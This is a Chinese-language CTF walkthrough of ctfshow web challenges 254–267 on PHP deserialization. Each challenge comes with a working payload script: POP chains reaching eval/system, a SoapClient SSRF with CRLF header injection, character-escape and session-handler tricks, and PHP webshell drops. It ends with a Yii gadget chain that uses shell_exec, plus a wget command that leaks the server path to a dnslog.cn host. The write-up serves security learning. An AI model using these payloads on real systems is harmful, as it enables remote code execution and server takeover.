知识点:php反序列化 – 青嵐
web254
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
代码审计,首先初始化ctfShowUser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx,因此我们只需要传入username=xxxxxx&password=xxxxxx即可获取flag
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
代码审计,if第一层判断是否传入username和password值,且类中的checkVip需要$this->isVip是true,之后执行vipOneKeyGetFlag获取flag。因此在反序列化时需要修改false为true
其次if第二层判断中login方法判断username和password都为所声明的xxxxxx
据此写出反序列化代码
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
因为cookie字段中的值需要url编码,所以利用urlencode进行编码,得到结果进行修改cookie,cookie中的字段名为user,字段值为运行php脚本后的值
最后进行get传参:username=xxxxxx&password=xxxxxx
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
大致和上一题相同,多了一个判断
if($this->username!==$this->password)
也就是username和password的值不能相同
那可以反序列化对这两个变量进行修改
<?php
class ctfShowUser{
public $username='a';
public $password='b';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
最后get对username和password传参需要与反序列化所设置的值相同
payload:?username=a&password=b
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
__construct
当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()
魔术方法代码中可以看到有在bakckDoor类中有eval函数,可以利用eval函数执行命令
因此我们只需要在执行__construct
的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行__destruct()
,此时eval($this->code);
等价于eval(system('tac flag.php');)
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
最后通过get传参username和password即可
web258—正则匹配绕过
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
代码审计,需要绕过preg_match(’/[oc]:\d+:/i’, $var),使用➕
不进行绕过时,序列化后输出的是
O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}
由于正则匹配会匹配得到,所以需要将O:11
进行绕过,替换成O:+11
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code = 'system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
$b = urlencode(str_replace('O:','O:+',$a));
echo $b;
剩下的做法和上题一样
web259—SoapClient
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这个题利用的是php原生类SoapClient
该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
应该还有一条判断真实ip的也就是
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}
所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。
payload
<?php
$ua = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127,0.0.1/','location' => 'http://127.0.0.1/flag.php','user_agent' => $ua));
echo urlencode(serialize($client));
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
就只有正则匹配得到ctfshow_i_love_36D就可以输出flag了
<?php
class ctfshow{
public $ctfshow=ctfshow_i_love_36D;
}
echo serialize(new ctfshow());
序列化后得到的值通过get方式传参给ctfshow
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。
当反序列化时会进入unserialize中,而且也没有什么方法可以进入到invoke中。所以直接就朝着写文件搞就可以了。
只要满足code==0x36d(877)就可以了。 而code是username和password拼接出来的。 所以只要username=877.php password=shell就可以了。 877.php==877是成立的(弱类型比较)
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
web262—字符逃逸
首页源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
可以看到有字符替换,
fuck
替换成loveU
,属于字符变多,每次变多一个字符序列化后base64加密设置成cookie
提示里有message.php
message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
if判断里需要token==admin,而class类里token为user,所以需要逃逸后修改
关于字符逃逸在知识点里有讲怎么逃逸,这里直接上payload
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck', 'loveU', $msg);
}
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg_1 = base64_encode(filter(serialize($msg)));
echo $msg_1;
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} 改成admin后这里有62个字符,因此需要输入62个fuck进行逃逸
web263—session
源码泄露,/www.zip
下载
index.php
写入cookie,名为limit
check.php
调用cookie
inc.php
类User中,有file_put_contents
函数,可以username作为文件名,password为一句话木马
并且在inc.php中,有ini_set('session.serialize_handler', 'php');
,说明读取session引擎为默认php引擎,可以利用加|
进行伪造序列化
思路为,构造一个序列化的payload,伪造为limit的cookie,访问index.php写入,再访问check.php进行调用,然后访问log-写入的文件名即可调用写入的一句话木马
payload
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$User = new User('1.php','<?php system("tac flag*");?>');
echo base64_encode('|'.serialize($User));
web264
大致源码跟web262相同,有区别的是在message.php中的这段代码
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
用的是session,且需要存在名为msg的cookie
构造payload的方法和262相同,然后url传参
f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
,
最后在cookie上添加msg,值随便传,再访问message.php
web265—按地址传参
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
登录需要token值与password值全等,而token值是一个随机数的md5,是不可确定的。因此需要将password值的地址传到token上才能保证值相等
考察的是php按地址传参&
,需要引用一个中间变量
payload
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
web266—大小写
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
可以看到__destruct方法可以输出flag,但在正则匹配中含有ctfshow就抛出异常,序列化后含有ctfshow,因此需要绕过
其中接收序列化数据的是$cs,而$cs是用php://input
PHP大小写:函数名和类名不区分,变量名区分
php://input是一个只读信息流,当请求方式是post。一般服务端使用file_get_contents获取php://input内容file_get_contents(php://input)
因此在序列化后改其中ctfshow的字母为大写,用bp抓包post上去即可
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$ctf = new ctfshow();
echo serialize($ctf);
web267—yii反序列化漏洞
弱密码 admin admin登录成功后,在about页面发现提示?view-source 访问url/?r=site/about&view-source
得到反序列化点
///backdoor/shell
unserialize(base64_decode($_GET['code']))
payload ?r=backdoor/shell&code=poc
在poc中得知当前路径所在的步骤
用dnslog:DNSLog Platform生成SubDomain
构造参数:
$this->id = "wget `pwd|base64`.tmrolu.dnslog.cn";
然后base64解密得到当前路径
poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>